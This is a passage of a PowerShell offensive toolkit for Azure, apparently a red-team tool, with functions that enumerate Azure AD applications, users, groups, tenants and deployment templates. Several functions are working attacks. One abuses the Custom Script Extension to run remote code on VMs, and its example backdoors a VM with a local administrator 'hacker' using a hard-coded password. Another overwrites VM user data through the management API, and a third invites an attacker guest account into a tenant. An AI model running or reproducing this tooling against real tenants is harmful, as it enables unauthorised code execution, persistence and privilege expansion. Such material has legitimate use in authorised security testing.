Application:" -ForegroundColor Yellow 3631 | 3632 | $obj | fl 3633 | 3634 | Write-Host "=== Assigned (directly and through group membership) users:" -ForegroundColor Yellow 3635 | 3636 | Write-Verbose "1. Reading users. This operation might take longer..." 3637 | 3638 | $number = 0 3639 | $Coll = New-Object System.Collections.ArrayList 3640 | $users = Get-AzureADUser -All $true 3641 | 3642 | foreach ($item in $users) { 3643 | $listOfAssignments = Get-AzureADUserAppRoleAssignment -ObjectId $item.ObjectId 3644 | $assigned = $false 3645 | 3646 | foreach ($item2 in $listOfAssignments) { 3647 | If ($item2.ResourceID -eq $aadapServPrincObjId) { 3648 | $assigned = $true 3649 | } 3650 | } 3651 | 3652 | If ($assigned -eq $true) { 3653 | $obj = [PSCustomObject]@{ 3654 | DisplayName = $item.DisplayName 3655 | UserPrincipalName = $item.UserPrincipalName 3656 | ObjectId = $item.ObjectId 3657 | } 3658 | 3659 | $null = $Coll.Add($obj) 3660 | $number = $number + 1 3661 | } 3662 | } 3663 | 3664 | $Coll | ft 3665 | 3666 | Write-Host "Number of (directly and through group membership) users: $number" -ForegroundColor Green 3667 | 3668 | Write-Host "`n`n=== Assigned groups:" -ForegroundColor Yellow 3669 | 3670 | Write-Verbose "2. Reading groups. This operation might take longer..." 3671 | 3672 | $number = 0 3673 | $Coll2 = New-Object System.Collections.ArrayList 3674 | $groups = Get-AzureADGroup -All $true 3675 | 3676 | foreach ($item in $groups) { 3677 | $listOfAssignments = Get-AzureADGroupAppRoleAssignment -ObjectId $item.ObjectId 3678 | $assigned = $false 3679 | 3680 | foreach ($item2 in $listOfAssignments) { 3681 | If ($item2.ResourceID -eq $aadapServPrincObjId) { 3682 | $assigned = $true 3683 | } 3684 | } 3685 | 3686 | If ($assigned -eq $true) { 3687 | $obj = [PSCustomObject]@{ 3688 | DisplayName = $item.DisplayName 3689 | ObjectId = $item.ObjectId 3690 | } 3691 | 3692 | $null = $Coll2.Add($obj) 3693 | $number = $number + 1 3694 | } 3695 | } 3696 | 3697 | $Coll2 | ft 3698 | 3699 | Write-Host "Number of assigned groups: $number" -ForegroundColor Green 3700 | } 3701 | catch { 3702 | Write-Host "[!] Function failed!" -ForegroundColor Red 3703 | Throw 3704 | Return 3705 | } 3706 | finally { 3707 | $ErrorActionPreference = $EA 3708 | } 3709 | } 3710 | 3711 | 3712 | Function Get-ARTApplicationProxy { 3713 | <# 3714 | .SYNOPSIS 3715 | Lists Azure AD Enterprise Applications that have Application Proxy setup. 3716 | 3717 | .DESCRIPTION 3718 | Lists Azure AD Enterprise Applications that have Application Proxy setup. 3719 | 3720 | .PARAMETER ObjectId 3721 | Specifies application which should be inspected. 3722 | 3723 | .EXAMPLE 3724 | Example 1: Shows all visible to current user Azure AD application proxies. 3725 | PS C:\> Get-ARTApplicationProxy 3726 | 3727 | Example 2: Shows specific Application's Proxy 3728 | PS C:\> Get-ARTApplicationProxy -ObjectId $Id 3729 | #> 3730 | 3731 | [CmdletBinding()] 3732 | Param( 3733 | [Parameter(Mandatory=$False)] 3734 | [String] 3735 | $ObjectId = $null 3736 | ) 3737 | 3738 | try { 3739 | $EA = $ErrorActionPreference 3740 | $ErrorActionPreference = 'silentlycontinue' 3741 | 3742 | $ObjectIdGiven = $false 3743 | 3744 | if($ObjectId -eq $null -or $ObjectId.Length -eq 0) { 3745 | $apps = Get-AzureADApplication -All $true 3746 | } 3747 | else { 3748 | $apps = Get-AzureADApplication -ObjectId $ObjectId 3749 | $ObjectIdGiven = $true 3750 | } 3751 | 3752 | $Coll = New-Object System.Collections.ArrayList 3753 | $count = 0 3754 | 3755 | foreach ($app in $apps) { 3756 | try { 3757 | Write-Verbose "Examining ($($app.ObjectId)): `"$($app.DisplayName)`" ..." 3758 | 3759 | $out = Get-AzureADApplicationProxyApplication -ObjectId $app.ObjectId 3760 | 3761 | if($out -ne $null) { 3762 | $obj = [PSCustomObject]@{ 3763 | ApplicationName = $app.DisplayName 3764 | ApplicationId = $app.AppId 3765 | InternalUrl = $out.InternalUrl 3766 | ExternalUrl = $out.ExternalUrl 3767 | ExternalAuthenticationType = $out.ExternalAuthenticationType 3768 | } 3769 | 3770 | $null = $Coll.Add($obj) 3771 | $count += 1 3772 | } 3773 | } 3774 | catch{ 3775 | } 3776 | } 3777 | 3778 | if($count -eq 0) { 3779 | Write-Warning "No applications with Application Proxy were found." 3780 | } 3781 | 3782 | Return $Coll 3783 | } 3784 | catch { 3785 | Write-Host "[!] Function failed!" -ForegroundColor Red 3786 | Throw 3787 | Return 3788 | } 3789 | finally { 3790 | $ErrorActionPreference = $EA 3791 | } 3792 | } 3793 | 3794 | 3795 | Function Get-ARTApplication { 3796 | <# 3797 | .SYNOPSIS 3798 | Lists Azure AD Enterprise Applications that current user is owner of or owned by all users 3799 | 3800 | .DESCRIPTION 3801 | Lists Azure AD Enterprise Applications that current user is owner of (or all existing when -All used) along with their owners and Service Principals 3802 | 3803 | .PARAMETER ObjectId 3804 | Specifies application which should be inspected. 3805 | 3806 | .PARAMETER All 3807 | Display all Azure AD role assignments. By default will show only applications that the current user is owner of. 3808 | 3809 | .EXAMPLE 3810 | Example 1: Shows all visible to current user Azure AD applications, their owners and Service Principals. 3811 | PS C:\> Get-ARTApplication -All 3812 | 3813 | Example 2: Examine specific application based on their ObjectId 3814 | PS C:\> Get-ARTApplication -ObjectId $Id 3815 | #> 3816 | 3817 | [CmdletBinding()] 3818 | Param( 3819 | [Parameter(Mandatory=$False)] 3820 | [String] 3821 | $ObjectId = $null, 3822 | 3823 | [Parameter(Mandatory=$False)] 3824 | [Switch] 3825 | $All 3826 | ) 3827 | 3828 | try { 3829 | $EA = $ErrorActionPreference 3830 | $ErrorActionPreference = 'silentlycontinue' 3831 | 3832 | $UserId = Get-ARTUserId 3833 | $ObjectIdGiven = $false 3834 | 3835 | if($ObjectId -eq $null -or $ObjectId.Length -eq 0) { 3836 | $apps = Get-AzureADApplication -All $true 3837 | } 3838 | else { 3839 | $apps = Get-AzureADApplication -ObjectId $ObjectId 3840 | $ObjectIdGiven = $true 3841 | } 3842 | 3843 | $Coll = New-Object System.Collections.ArrayList 3844 | $count = 0 3845 | 3846 | foreach ($app in $apps) { 3847 | Write-Verbose "Examining ($($app.ObjectId)): `"$($app.DisplayName)`" ..." 3848 | 3849 | $owner = Get-AzureADApplicationOwner -ObjectId $app.ObjectId 3850 | $sp = Get-AzureADServicePrincipal -Filter "AppId eq '$($app.AppId)'" 3851 | $spmembership1 = Get-AzureADServicePrincipalMembership -ObjectId $sp.ObjectId 3852 | 3853 | $spgroups = New-Object System.Collections.ArrayList 3854 | 3855 | foreach($sp in $spmembership1) { 3856 | $obj = [PSCustomObject]@{ 3857 | GroupName = $sp.DisplayName 3858 | GroupId = $sp.ObjectId 3859 | GroupType = $sp.ObjectType 3860 | } 3861 | 3862 | $null = $spgroups.Add($obj) 3863 | } 3864 | 3865 | if($ObjectIdGiven) { 3866 | $out = Get-ARTApplicationProxy -ObjectId $ObjectId 3867 | 3868 | $obj = [PSCustomObject]@{ 3869 | ApplicationName = $app.DisplayName 3870 | ApplicationId = $app.ObjectId 3871 | OwnerName = $owner.DisplayName 3872 | OwnerPrincipalName = $owner.UserPrincipalName 3873 | OwnerType = $owner.UserType 3874 | OwnerId = $owner.ObjectId 3875 | HasApplicationProxy = $hasProxy 3876 | ServicePrincipalId = $sp.ObjectId 3877 | ServicePrincipalType = $sp.ServicePrincipalType 3878 | ServicePrincipalMembership = $spgroups 3879 | AppProxyExternalUrl = $out.ExternalUrl 3880 | AppProxyInternalUrl = $out.InternalUrl 3881 | AppProxyExternalAuthenticationType = $out.ExternalAuthenticationType 3882 | } 3883 | } 3884 | else { 3885 | $obj = [PSCustomObject]@{ 3886 | ApplicationName = $app.DisplayName 3887 | ApplicationId = $app.ObjectId 3888 | OwnerName = $owner.DisplayName 3889 | OwnerPrincipalName = $owner.UserPrincipalName 3890 | OwnerType = $owner.UserType 3891 | OwnerId = $owner.ObjectId 3892 | HasApplicationProxy = $hasProxy 3893 | ServicePrincipalId = $sp.ObjectId 3894 | ServicePrincipalType = $sp.ServicePrincipalType 3895 | ServicePrincipalMembership = $spgroups 3896 | } 3897 | } 3898 | 3899 | if($All -or $ObjectIdGiven) { 3900 | $null = $Coll.Add($obj) 3901 | $count += 1 3902 | } 3903 | elseif ($UserId -eq $ServicePrincipalId -or $UserId -eq $owner.ObjectId) { 3904 | $null = $Coll.Add($obj) 3905 | $count += 1 3906 | } 3907 | } 3908 | 3909 | if($count -eq 0) { 3910 | Write-Warning "No applications that this user is owner of. Try running Get-ARTApplication -All to see all applications." 3911 | } 3912 | 3913 | Return $Coll 3914 | } 3915 | catch { 3916 | Write-Host "[!] Function failed!" -ForegroundColor Red 3917 | Throw 3918 | Return 3919 | } 3920 | finally { 3921 | $ErrorActionPreference = $EA 3922 | } 3923 | } 3924 | 3925 | 3926 | Function Get-ARTResourceGroupDeploymentTemplate { 3927 | <# 3928 | .SYNOPSIS 3929 | Displays Resource Group Deployment Template JSON 3930 | 3931 | .DESCRIPTION 3932 | Displays Resource Group Deployment Template JSON based on input parameters, or pulls all of them at once. 3933 | 3934 | .PARAMETER ResourceGroupName 3935 | Resource Group Name to pull deployment templates. When not given, will display all templates from all resource groups. 3936 | 3937 | .PARAMETER DeploymentName 3938 | Deployment Name to show its template. When not given, will display all templates from all deployments. 3939 | 3940 | .EXAMPLE 3941 | Example 1: Shows all visible to current user Azure AD applications, their owners and Service Principals. 3942 | PS C:\> Get-ARTResourceGroupDeploymentTemplate 3943 | #> 3944 | 3945 | [CmdletBinding()] 3946 | Param( 3947 | [Parameter(Mandatory=$False)] 3948 | [String] 3949 | $ResourceGroupName = $null, 3950 | 3951 | [Parameter(Mandatory=$False)] 3952 | [String] 3953 | $DeploymentName = $null 3954 | ) 3955 | 3956 | try { 3957 | $EA = $ErrorActionPreference 3958 | $ErrorActionPreference = 'silentlycontinue' 3959 | 3960 | $tmpfile = New-TemporaryFile 3961 | $jsonfile = "$($tmpfile.FullName).json" 3962 | 3963 | if (($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0) -and ($DeploymentName -ne $null -and $DeploymentName.Length -gt 0)) { 3964 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $DeploymentName -Path $tmpfile.FullName 3965 | 3966 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $DeploymentName ]=================================`n" -ForegroundColor Green 3967 | 3968 | cat $jsonfile 3969 | Clear-Content $tmpfile.FullName 3970 | Clear-Content $jsonfile 3971 | 3972 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 3973 | } 3974 | elseif(($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0) -and ($DeploymentName -eq $null)) { 3975 | Get-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName | % { 3976 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $_.DeploymentName -Path $tmpfile.FullName | Out-Null 3977 | 3978 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $($_.DeploymentName) ]=================================`n" -ForegroundColor Green 3979 | 3980 | cat $jsonfile 3981 | Clear-Content $tmpfile.FullName 3982 | Clear-Content $jsonfile 3983 | 3984 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 3985 | } 3986 | } 3987 | elseif(($ResourceGroupName -eq $null) -and ($DeploymentName -ne $null -and $DeploymentName.Length -gt 0)) { 3988 | Get-AzResourceGroup | % { 3989 | $ResourceGroupName = $_.ResourceGroupName 3990 | Get-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName | ? {$_.DeploymentName -eq $DeploymentName} | % { 3991 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $_.DeploymentName -Path $tmpfile.FullName | Out-Null 3992 | 3993 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $DeploymentName ]=================================`n" -ForegroundColor Green 3994 | 3995 | cat $jsonfile 3996 | Clear-Content $tmpfile.FullName 3997 | Clear-Content $jsonfile 3998 | 3999 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 4000 | } 4001 | } 4002 | } 4003 | else { 4004 | Get-AzResourceGroup | % { 4005 | $ResourceGroupName = $_.ResourceGroupName 4006 | Get-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName | % { 4007 | $DeploymentName = $_.DeploymentName 4008 | Save-AzResourceGroupDeploymentTemplate -ResourceGroupName $ResourceGroupName -DeploymentName $DeploymentName -Path $tmpfile.FullName | Out-Null 4009 | 4010 | Write-Host "`n===================[ Resource Group Deployment Template: $ResourceGroupName - $DeploymentName ]=================================`n" -ForegroundColor Green 4011 | 4012 | cat $jsonfile 4013 | Clear-Content $tmpfile.FullName 4014 | Clear-Content $jsonfile 4015 | 4016 | Write-Host "`n============================================================================================================================`n" -ForegroundColor Green 4017 | } 4018 | } 4019 | } 4020 | } 4021 | catch { 4022 | Write-Host "[!] Function failed!" -ForegroundColor Red 4023 | Throw 4024 | Return 4025 | } 4026 | finally { 4027 | Remove-Item -Path $tmpfile.FullName | Out-Null 4028 | Remove-Item -Path $jsonfile | Out-Null 4029 | 4030 | $ErrorActionPreference = $EA 4031 | } 4032 | } 4033 | 4034 | 4035 | Function Update-ARTAzVMUserData { 4036 | <# 4037 | .SYNOPSIS 4038 | Modifies Azure VM User Data script. 4039 | 4040 | .DESCRIPTION 4041 | Modifies Azure VM User Data script through a direct API invocation. 4042 | 4043 | .PARAMETER VMName 4044 | Name of the Virtual Machine to target. 4045 | 4046 | .PARAMETER ScriptPath 4047 | Path to the Powershell script file. 4048 | 4049 | .PARAMETER Command 4050 | Command to be executed in Runbook. 4051 | 4052 | .PARAMETER ResourceGroup 4053 | Name of the Resource Group where to find target VM. Optional, will look it up in currently chosen resource group. 4054 | 4055 | .PARAMETER Location 4056 | Azure Availability Zone Location string where the VM is running, ex: "Germany West Central" 4057 | 4058 | .PARAMETER SubscriptionId 4059 | Subscription ID where to find target VM. Optional, will look it up in currently chosen subscription. 4060 | 4061 | .EXAMPLE 4062 | Example 1: Shows all visible to current user Azure AD applications, their owners and Service Principals. 4063 | PS C:\> Update-ARTAzVMUserData -Command "whoami" -VMName infectme -ResourceGroup myresgroup -Location "Germany West Central" 4064 | #> 4065 | 4066 | [CmdletBinding()] 4067 | Param( 4068 | [Parameter(Mandatory=$True)] 4069 | [String] 4070 | $VMName = $null, 4071 | 4072 | [Parameter(Mandatory=$True)] 4073 | [String] 4074 | $ResourceGroup, 4075 | 4076 | [Parameter(Mandatory=$True)] 4077 | [String] 4078 | $Location, 4079 | 4080 | [String] 4081 | $ScriptPath = $null, 4082 | 4083 | [String] 4084 | $Command = $null, 4085 | 4086 | [Parameter(Mandatory=$False)] 4087 | [String] 4088 | $SubscriptionId = $null 4089 | ) 4090 | 4091 | try { 4092 | $EA = $ErrorActionPreference 4093 | $ErrorActionPreference = 'silentlycontinue' 4094 | 4095 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 4096 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 4097 | Return 4098 | } 4099 | 4100 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 4101 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 4102 | Return 4103 | } 4104 | 4105 | $createdFile = $false 4106 | 4107 | if ($Command -ne $null -and $Command.Length -gt 0) { 4108 | $File = New-TemporaryFile 4109 | $ScriptPath = $File.FullName 4110 | Remove-Item $ScriptPath 4111 | $ScriptPath = $ScriptPath + ".ps1" 4112 | 4113 | Write-Verbose "Writing supplied commands to a temporary file..." 4114 | $Command | Out-File $ScriptPath 4115 | $createdFile = $true 4116 | } 4117 | 4118 | $Data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-Content $ScriptPath))) 4119 | 4120 | $AccessToken = Get-ARTAccessTokenAz 4121 | 4122 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 4123 | Write-Error "Cannot acquire Azure Management Access Token!" 4124 | Return 4125 | } 4126 | 4127 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 4128 | $SubscriptionId = Get-ARTSubscriptionId 4129 | } 4130 | 4131 | $URL = "https://management.azure.com/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroup/providers/Microsoft.Compute/virtualMachines/$VMName?api-version=2021-07-01" 4132 | 4133 | $Body = @( 4134 | @{ 4135 | location = "$Location" 4136 | properties = @{ 4137 | userData = "$Data" 4138 | } 4139 | } 4140 | ) | ConvertTo-Json -Depth 4 4141 | 4142 | $Headers = @{ 4143 | Authorization = "Bearer $AccessToken" 4144 | } 4145 | 4146 | $Results = Invoke-RestMethod -Method Put -Uri $URL -Body $Body -Headers $Headers -ContentType 'application/json' 4147 | 4148 | if($createdFile) { 4149 | Remove-Item $ScriptPath 4150 | } 4151 | 4152 | $Results 4153 | } 4154 | catch { 4155 | Write-Host "[!] Function failed!" -ForegroundColor Red 4156 | Throw 4157 | Return 4158 | } 4159 | finally { 4160 | Remove-Item -Path $tmpfile.FullName | Out-Null 4161 | Remove-Item -Path $jsonfile | Out-Null 4162 | 4163 | $ErrorActionPreference = $EA 4164 | } 4165 | } 4166 | 4167 | 4168 | Function Get-ARTAzVMUserDataFromInside { 4169 | <# 4170 | .SYNOPSIS 4171 | Retrieves Azure VM User Data from inside of a VM by reaching to Instance Metadata endpoint. 4172 | 4173 | .DESCRIPTION 4174 | Retrieves Azure VM User Data from inside of a VM by reaching to Instance Metadata endpoint. 4175 | 4176 | .EXAMPLE 4177 | PS C:\> Get-ARTAzVMUserData 4178 | #> 4179 | 4180 | Return [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"))) 4181 | } 4182 | 4183 | 4184 | Function Invoke-ARTCustomScriptExtension { 4185 | <# 4186 | .SYNOPSIS 4187 | Creates new or modifies existing Azure VM Custom Script Extension leading to remote code execution. 4188 | 4189 | .DESCRIPTION 4190 | Creates new or modifies existing Azure VM Custom Script Extension leading to remote code execution. 4191 | 4192 | .PARAMETER VMName 4193 | Name of the Virtual Machine to target. 4194 | 4195 | .PARAMETER ExtensionName 4196 | Name of the Custom Script Extension to abuse. 4197 | 4198 | .PARAMETER ResourceGroup 4199 | Name of the Resource Group where to find target VM. Optional, will look it up in currently chosen resource group. 4200 | 4201 | .PARAMETER ScriptPath 4202 | Path to the Powershell script file. 4203 | 4204 | .PARAMETER Command 4205 | Command to be executed in Runbook. 4206 | 4207 | .PARAMETER ForceNew 4208 | Forcefully try to create new Custom Script Extension instead of modifying existing one. 4209 | 4210 | .PARAMETER Location 4211 | Optional. Will be deduced from Get-AzVMExtension. Specifies Azure Availability Zone Location string where the VM is running, ex: "Germany West Central" 4212 | 4213 | .EXAMPLE 4214 | Example 1: Backdoors target Azure VM with a new Local Administrator user named "hacker" 4215 | PS C:\> Invoke-ARTCustomScriptExtension -VMName infectme -ResourceGroup myresgroup -ExtensionName ExecMe -Command "powershell net users hacker HackerSecret@1337 /add /Y ; net localgroup administrators hacker /add" 4216 | #> 4217 | 4218 | [CmdletBinding()] 4219 | Param( 4220 | [Parameter(Mandatory=$True)] 4221 | [String] 4222 | $VMName = $null, 4223 | 4224 | [Parameter(Mandatory=$True)] 4225 | [String] 4226 | $ResourceGroup, 4227 | 4228 | [Parameter(Mandatory=$True)] 4229 | [String] 4230 | $ExtensionName, 4231 | 4232 | [Parameter(Mandatory=$False)] 4233 | [String] 4234 | $Location, 4235 | 4236 | [String] 4237 | $ScriptPath = $null, 4238 | 4239 | [String] 4240 | $Command = $null, 4241 | 4242 | [String] 4243 | $ForceNew = $false 4244 | ) 4245 | 4246 | try { 4247 | $EA = $ErrorActionPreference 4248 | $ErrorActionPreference = 'silentlycontinue' 4249 | 4250 | if ($ScriptPath -ne $null -and $Command -ne $null -and $ScriptPath.Length -gt 0 -and $Command.Length -gt 0) { 4251 | Write-Error "-ScriptPath and -Command are mutually exclusive. Pick one to continue." 4252 | Return 4253 | } 4254 | 4255 | if (($ScriptPath -eq $null -and $Command -eq $null) -or ($ScriptPath.Length -eq 0 -and $Command.Length -eq 0)) { 4256 | Write-Error "Missing one of the required parameters: -ScriptPath or -Command" 4257 | Return 4258 | } 4259 | 4260 | $createdFile = $false 4261 | 4262 | if ($Command -ne $null -and $Command.Length -gt 0) { 4263 | $File = New-TemporaryFile 4264 | $ScriptPath = $File.FullName 4265 | Remove-Item $ScriptPath 4266 | $ScriptPath = $ScriptPath + ".ps1" 4267 | 4268 | Write-Verbose "Writing supplied commands to a temporary file..." 4269 | $Command | Out-File $ScriptPath 4270 | $createdFile = $true 4271 | } 4272 | 4273 | Write-Verbose "Pulling Azure VM Extensions..." 4274 | $ableToPullExts = $false 4275 | try { 4276 | $ext = Get-AzVMExtension -ResourceGroupName $ResourceGroup -VMName $VMName | ? { $_.Name -eq $ExtensionName } 4277 | 4278 | if($ext -ne $null) { 4279 | $Location = $ext.Location 4280 | $ableToPullExts = $true 4281 | } 4282 | } 4283 | catch { 4284 | Write-Host "[-] Could not pull Azure VM Extensions!" -ForegroundColor Red 4285 | } 4286 | 4287 | if ($Location -eq $null -or $Location.Length -eq 0) { 4288 | Write-Error "Location must be specified!" 4289 | Return 4290 | } 4291 | 4292 | Write-Verbose "Setting Custom Script Extension with malicious commands..." 4293 | 4294 | if(($ForceNew) -or (-not $ableToPullExts)) { 4295 | Write-Host "[.] Creating new Custom Script Extension..." 4296 | 4297 | Set-AzVMCustomScriptExtension ` 4298 | -ResourceGroupName $ResourceGroup ` 4299 | -VMName $VMName ` 4300 | -Location $Location ` 4301 | -Name $ExtensionName ` 4302 | -TypeHandlerVersion "1.8" ` 4303 | -FileName $ScriptPath | Out-Null 4304 | } 4305 | else { 4306 | Write-Host "[.] Updating existing Custom Script Extension..." 4307 | 4308 | $Commands = (Get-Content $ScriptPath) 4309 | 4310 | Set-AzVMExtension ` 4311 | -ResourceGroupName $ResourceGroup ` 4312 | -ExtensionName $ExtensionName ` 4313 | -VMName $VMName ` 4314 | -Location $Location ` 4315 | -Publisher Microsoft.Compute ` 4316 | -ExtensionType CustomScriptExtension ` 4317 | -TypeHandlerVersion 1.8 ` 4318 | -SettingString "{`"commandToExecute`":`"$Commands`"}" | Out-Null 4319 | } 4320 | 4321 | $col = "Yellow" 4322 | if($ableToPullExts -eq $false) { 4323 | $col = "Green" 4324 | } 4325 | 4326 | Write-Host "[+] Custom Script Extension set." -ForegroundColor $col 4327 | 4328 | if($ableToPullExts) { 4329 | Write-Host "[.] Checking if it worked..." 4330 | try { 4331 | Start-Sleep -Seconds 5 4332 | $ext = Get-AzVMExtension -ResourceGroupName $ResourceGroup -VMName $VMName | ? { $_.Name -eq $ExtensionName } 4333 | $c = ($ext.PublicSettings | ConvertFrom-Json).commandToExecute 4334 | 4335 | if ($c -eq $Commands) { 4336 | Write-Host "[+] Custom Script Extension Attack WORKED!" -ForegroundColor Green 4337 | } 4338 | else { 4339 | Write-Host "[?] It didn't work?" -ForegroundColor Yellow 4340 | Write-Host "Pulled following command to execute:" 4341 | Write-Host "----------------------------------------" 4342 | Write-Host $c 4343 | Write-Host "----------------------------------------" 4344 | Write-Host "Whereas expected it to be:" 4345 | Write-Host "----------------------------------------" 4346 | Write-Host $Commands 4347 | Write-Host "----------------------------------------" 4348 | } 4349 | } 4350 | catch { 4351 | Write-Host "[-] Could not verify whether Custom Script Extension attack worked! Exception was thrown." -ForegroundColor Red 4352 | } 4353 | } 4354 | 4355 | if($createdFile) { 4356 | Remove-Item $ScriptPath | Out-Null 4357 | } 4358 | } 4359 | catch { 4360 | Write-Host "[!] Function failed!" -ForegroundColor Red 4361 | Throw 4362 | Return 4363 | } 4364 | finally { 4365 | $ErrorActionPreference = $EA 4366 | } 4367 | } 4368 | 4369 | 4370 | Function Get-ARTADDynamicGroups { 4371 | <# 4372 | .SYNOPSIS 4373 | Displays Azure AD Dynamic Groups along with their user Membership Rules 4374 | 4375 | .DESCRIPTION 4376 | Displays Azure AD Dynamic Groups along with their user Membership Rules, members count and current user membership status 4377 | 4378 | .PARAMETER AccessToken 4379 | Azure AD Access Token 4380 | 4381 | .EXAMPLE 4382 | PS C:\> Get-ARTADDynamicGroups 4383 | #> 4384 | 4385 | [CmdletBinding()] 4386 | Param( 4387 | [Parameter(Mandatory=$False)] 4388 | [string] 4389 | $AccessToken 4390 | ) 4391 | 4392 | try { 4393 | $EA = $ErrorActionPreference 4394 | $ErrorActionPreference = 'silentlycontinue' 4395 | 4396 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 4397 | Write-Warning "No Access Token supplied. Acquiring one via Az module..." 4398 | $AccessToken = Get-ARTAccessTokenAz -Resource https://graph.microsoft.com 4399 | } 4400 | 4401 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 4402 | Write-Error "Cannot acquire Azure AD Access Token!" 4403 | Return 4404 | } 4405 | 4406 | $Coll = New-Object System.Collections.ArrayList 4407 | $UserId = Get-ARTUserId 4408 | 4409 | $dynamicGroups = Get-AzureADMSGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" -All:$true 4410 | 4411 | $dynamicGroups | % { 4412 | $out = Invoke-ARTGETRequest -AccessToken $AccessToken -Uri "https://graph.microsoft.com/v1.0/groups/$($_.Id)" 4413 | 4414 | $members = Get-AzureADGroupMember -ObjectId $_.Id 4415 | 4416 | $obj = [PSCustomObject]@{ 4417 | ObjectId = $out.Id 4418 | DisplayName = $out.DisplayName 4419 | IsCurrentUserMember = ($members.ObjectId -contains $UserId) 4420 | Description = $out.Description 4421 | MembersCount = $members.Length 4422 | MembershipRule = $out.MembershipRule 4423 | } 4424 | 4425 | $null = $Coll.Add($obj) 4426 | } 4427 | 4428 | Return $Coll 4429 | } 4430 | catch { 4431 | Write-Host "[!] Function failed!" -ForegroundColor Red 4432 | Throw 4433 | Return 4434 | } 4435 | finally { 4436 | $ErrorActionPreference = $EA 4437 | } 4438 | } 4439 | 4440 | 4441 | 4442 | 4443 | Function Add-ARTADGuestUser { 4444 | <# 4445 | .SYNOPSIS 4446 | Invites Guest user to Azure AD & returns Invite Redeem URL used to easily accept the invitation. 4447 | 4448 | .DESCRIPTION 4449 | Sends Azure AD Guest user invitation e-mail, allowing to expand access to AAD tenant for the external attacker & returns Invite Redeem URL used to easily accept the invitation. 4450 | 4451 | .PARAMETER UserEmail 4452 | Required. Guest user's e-mail address. 4453 | 4454 | .PARAMETER UserDisplayName 4455 | Optional. Guest user's display name. 4456 | 4457 | .PARAMETER RedirectUrl 4458 | Optional. Where to redirect user after accepting his invitation. Default: myapps.microsoft.com 4459 | 4460 | .EXAMPLE 4461 | Example 1: Adds attacker account to the target Azure AD as a Guest: 4462 | PS C:\> Add-ARTADGuestUser -UserEmail attacker@contoso.onmicrosoft.com 4463 | #> 4464 | 4465 | [CmdletBinding()] 4466 | Param( 4467 | [Parameter(Mandatory=$True)] 4468 | [string] 4469 | $UserEmail, 4470 | 4471 | [Parameter(Mandatory=$False)] 4472 | [string] 4473 | $UserDisplayName, 4474 | 4475 | [Parameter(Mandatory=$False)] 4476 | [string] 4477 | $RedirectUrl = "https://myapps.microsoft.com" 4478 | ) 4479 | 4480 | try { 4481 | $EA = $ErrorActionPreference 4482 | $ErrorActionPreference = 'silentlycontinue' 4483 | 4484 | if($UserDisplayName -eq $null -or $UserDisplayName.Length -eq 0) { 4485 | $UserDisplayName = $UserEmail.Split('@')[0] 4486 | } 4487 | 4488 | $out = New-AzureADMSInvitation -InvitedUserDisplayName $UserDisplayName -InvitedUserEmailAddress $UserEmail -InviteRedirectURL $RedirectUrl -SendInvitationMessage $false 4489 | 4490 | $out | Select Id,InvitedUserDisplayName,InvitedUserEmailAddress,InviteRedeemUrl,InviteRedirectUrl,InvitedUserType,Status | fl 4491 | 4492 | Write-Host "[+] Invitation Redeem URL:`n" -ForegroundColor Green 4493 | Write-Host "$($out.InviteRedeemUrl)`n" 4494 | } 4495 | catch { 4496 | Write-Host "[!] Function failed!" -ForegroundColor Red 4497 | Throw 4498 | Return 4499 | } 4500 | finally { 4501 | $ErrorActionPreference = $EA 4502 | } 4503 | } 4504 | 4505 | 4506 | Function Get-ARTTenants { 4507 | <# 4508 | .SYNOPSIS 4509 | List Tenants available for the currently authenticated user 4510 | 4511 | .DESCRIPTION 4512 | List Tenants available for the currently authenticated user (or the one based on supplied Access Token) 4513 | 4514 | .PARAMETER AccessToken 4515 | Azure Management access token 4516 | 4517 | .EXAMPLE 4518 | PS C:\> Get-ARTTenants 4519 | #> 4520 | 4521 | [CmdletBinding()] 4522 | Param( 4523 | [Parameter(Mandatory=$False)] 4524 | [string] 4525 | $AccessToken 4526 | ) 4527 | 4528 | try { 4529 | $EA = $ErrorActionPreference 4530 | $ErrorActionPreference = 'silentlycontinue' 4531 | 4532 | $resource = "https://management.azure.com" 4533 | 4534 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 4535 | Write-Verbose "Access Token not provided. Requesting one from Get-AzAccessToken ..." 4536 | $AccessToken = Get-ARTAccessTokenAz -Resource $resource 4537 | } 4538 | 4539 | $tenants = Invoke-ARTGETRequest -Uri "https://management.azure.com/tenants?api-version=2019-06-01" -AccessToken $AccessToken 4540 | $tenants | select tenantId,displayName,tenantCategory,@{Name="domains";Expression={$tenants | select -ExpandProperty domains}} 4541 | } 4542 | catch { 4543 | Write-Host "[!] Function 